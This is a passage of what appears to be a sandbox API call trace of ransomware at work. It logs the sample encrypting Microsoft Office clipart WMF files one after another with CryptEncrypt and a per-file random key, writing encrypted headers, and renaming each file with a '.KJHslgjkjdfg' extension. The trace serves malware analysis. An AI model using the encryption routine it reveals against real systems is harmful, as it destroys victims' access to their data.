lpOverlapped=0x0) returned 1 [0197.736] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0197.737] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0197.737] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0197.737] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0197.737] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0197.737] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0197.737] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0197.737] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.737] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x21da, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x21da, lpOverlapped=0x0) returned 1 [0197.738] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x21e0, dwBufLen=0x21e0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x21e0) returned 1 [0197.738] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.738] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x21e0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x21e0, lpOverlapped=0x0) returned 1 [0197.739] CryptDestroyKey (hKey=0x9b6628) returned 1 [0197.739] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x22b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.739] SetEndOfFile (hFile=0x130) returned 1 [0197.741] GetProcessHeap () returned 0x990000 [0197.741] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0197.741] GetProcessHeap () returned 0x990000 [0197.741] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0197.741] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186346.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186346.wmf.kjhslgjkjdfg")) returned 1 [0197.742] CloseHandle (hObject=0x130) returned 1 [0197.742] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x843a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0186360.WMF", cAlternateFileName="")) returned 1 [0197.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186360.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.744] GetProcessHeap () returned 0x990000 [0197.744] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0197.744] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0197.744] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0197.744] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0197.746] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0197.746] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0197.746] GetProcessHeap () returned 0x990000 [0197.746] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0197.747] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0197.747] CryptDestroyKey (hKey=0x9b6628) returned 1 [0197.747] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0197.747] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0197.747] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0197.747] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0197.747] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0197.747] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0197.747] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0197.747] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0197.747] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.747] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x843a, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x843a, lpOverlapped=0x0) returned 1 [0197.749] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8440, dwBufLen=0x8440 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8440) returned 1 [0197.749] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.749] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x8440, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x8440, lpOverlapped=0x0) returned 1 [0197.750] CryptDestroyKey (hKey=0x9b6628) returned 1 [0197.750] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8514, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.750] SetEndOfFile (hFile=0x130) returned 1 [0197.758] GetProcessHeap () returned 0x990000 [0197.758] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0197.758] GetProcessHeap () returned 0x990000 [0197.758] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0197.758] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186360.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186360.wmf.kjhslgjkjdfg")) returned 1 [0197.760] CloseHandle (hObject=0x130) returned 1 [0197.760] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x44fe, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0186362.WMF", cAlternateFileName="")) returned 1 [0197.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186362.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.761] GetProcessHeap () returned 0x990000 [0197.761] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0197.761] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0197.761] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0197.761] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0197.764] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0197.764] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0197.764] GetProcessHeap () returned 0x990000 [0197.764] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0197.764] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0197.764] CryptDestroyKey (hKey=0x9b6628) returned 1 [0197.764] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0197.764] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0197.764] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0197.764] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0197.765] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0197.765] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0197.765] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0197.765] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0197.765] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.765] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x44fe, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x44fe, lpOverlapped=0x0) returned 1 [0197.769] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4500, dwBufLen=0x4500 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4500) returned 1 [0197.769] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.769] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4500, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4500, lpOverlapped=0x0) returned 1 [0197.770] CryptDestroyKey (hKey=0x9b6628) returned 1 [0197.770] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x45d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.770] SetEndOfFile (hFile=0x130) returned 1 [0197.771] GetProcessHeap () returned 0x990000 [0197.771] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0197.771] GetProcessHeap () returned 0x990000 [0197.771] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0197.771] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186362.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186362.wmf.kjhslgjkjdfg")) returned 1 [0197.773] CloseHandle (hObject=0x130) returned 1 [0197.773] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4724, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0186364.WMF", cAlternateFileName="")) returned 1 [0197.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186364.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.774] GetProcessHeap () returned 0x990000 [0197.774] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0197.774] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0197.774] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0197.774] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0197.777] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0197.777] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0197.777] GetProcessHeap () returned 0x990000 [0197.777] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0197.777] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0197.777] CryptDestroyKey (hKey=0x9b6628) returned 1 [0197.777] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0197.777] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0197.777] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0197.777] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0197.778] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0197.778] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0197.778] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0197.778] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0197.778] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.778] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4724, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4724, lpOverlapped=0x0) returned 1 [0197.779] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4730, dwBufLen=0x4730 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4730) returned 1 [0197.779] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.780] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4730, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4730, lpOverlapped=0x0) returned 1 [0197.780] CryptDestroyKey (hKey=0x9b6628) returned 1 [0197.780] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4804, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.780] SetEndOfFile (hFile=0x130) returned 1 [0197.783] GetProcessHeap () returned 0x990000 [0197.783] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0197.783] GetProcessHeap () returned 0x990000 [0197.783] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0197.783] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186364.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186364.wmf.kjhslgjkjdfg")) returned 1 [0197.785] CloseHandle (hObject=0x130) returned 1 [0197.785] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x19c4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0187647.WMF", cAlternateFileName="")) returned 1 [0197.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187647.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.787] GetProcessHeap () returned 0x990000 [0197.787] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0197.787] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0197.787] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0197.787] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0197.789] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0197.789] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0197.789] GetProcessHeap () returned 0x990000 [0197.789] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0197.789] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0197.790] CryptDestroyKey (hKey=0x9b6628) returned 1 [0197.790] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0197.790] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0197.790] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0197.790] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0197.790] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0197.790] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0197.790] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0197.790] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0197.790] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 